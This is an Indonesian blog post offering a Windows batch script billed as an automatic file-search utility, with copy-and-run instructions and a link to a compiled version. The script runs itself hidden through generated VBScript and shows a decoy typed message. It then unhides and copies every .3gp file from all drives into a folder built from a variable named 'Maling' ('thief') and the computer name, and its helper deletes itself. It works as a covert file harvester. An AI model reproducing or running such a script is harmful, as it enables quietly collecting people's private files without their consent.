Sulit : Program "Auto Searching..."

    Program ini digunakan untuk mencari file secara otomatis. Semua file yang terdapat didalam komputer bahkan beberapa file yang hidden sekalipun akan dapat ditemukan oleh program ini.

Ikuti langkah-langkah berikut :
- copas (copy+paste) script dibawah kedalam notepad

- simpan dengan nama "Program Pencari File Otomatis.bat"

- ganti "save as type" menjadi "all files"

- eksekusi/jalankan dengan melakukan klik 2x

Script : 

@echo off
REM Name    : Program Pencari File Otomatis
REM Author    : Alex Irfani

if "%1"=="" (
Echo Loading ... Please Wait..
if exist hide.vbs del /a /f hide.vbs>nul
if exist hide.vbs del /a /f pesan.vbs>nul
Call :Hide >>hide.vbs
Call :Pesan >>pesan.vbs
attrib +s +h pesan.vbs
start wscript.exe hide.vbs
start wscript.exe pesan.vbs
exit
)

del /a /f hide.vbs
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F G H I) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp %%') do (
attrib -h "%%b"
copy "%%b" "%Maling%\" /y))

msg "%username%" Pencarian Selesai....
Ping www.google.com>nul
If not errorlevel 1 explorer.exe http://www.alexirfani.blogspot.com/
goto :End

:Hide
echo set ws = wscript.CreateObject("Wscript.Shell")
echo ws.run("cmd.exe /c " ^& Chr(34) ^& "%~nx0" ^& Chr(34) ^& " hide"), vbhide
goto :End

:Pesan
echo On Error Resume Next
echo dim ws, fso, Pesan
echo set ws = Wscript.CreateObject("Wscript.Shell")
echo Set fso = CreateObject("Scripting.FileSystemObject")
echo Pesan = "Program ini berjalan secara otomatis.;" ^& _
echo   "Jadi sebaiknya Anda menunggu sampai selesai.;" ^& _
echo   "Program akan memberikan konfirmasi apabila pencarian telah selesai.;;" ^& _
echo   "Program ini akan mencari file *.3gp sampai file yang di hidden sekalipun;" ^& _
echo   "di semua drive yang ditemukan, dan mungkin;" ^& _
echo   "memerlukan waktu yang tidak sedikit, tergantung pada banyak sedikitnya file yang ada didalam komputer.;;" ^& _
echo   "It's not about how fast,;" ^& _
echo   "but it's about how smooth...;" ^& _
echo   "Program Pencari File Otomatis v.1;By Alex Irfani"
echo.
echo With ws
echo .Run("notepad.exe")
echo Wscript.Sleep 1000
echo For i = 1 To Len(Pesan)
echo x = Mid(Pesan, i, 1)
echo .AppActivate("Untitled-Notepad")
echo if x =";" then
echo .SendKeys "{ENTER}"
echo Else
echo .SendKeys x
echo End if
echo Wscript.Sleep 80
echo Next
echo Wscript.Sleep 2000
echo .SendKeys "%%F"
echo .SendKeys "X"
echo .SendKeys "{TAB}"
echo .SendKeys "{ENTER}"
echo End With
echo.
echo fso.DeleteFile(Wscript.ScriptFullName)
echo Wscript.Quit
goto :end

:End

nb : 

- ganti tulisan berwarna hijau pada script diatas sesuai dengan format file yang akan dicari.

- script diatas akan mencari dan mengumpulkan file dengan format *.3gp yang terdapat didalam komputer kedalam satu folder

- download program jadi ; Program Pencari File Otomatis.exe (184kb)

"semoga bermanfaat"

share this article to: Facebook Twitter Google+ Linkedin Technorati Digg

Posted by Alex Irfani, Published at 08.17.00 and have 0 komentar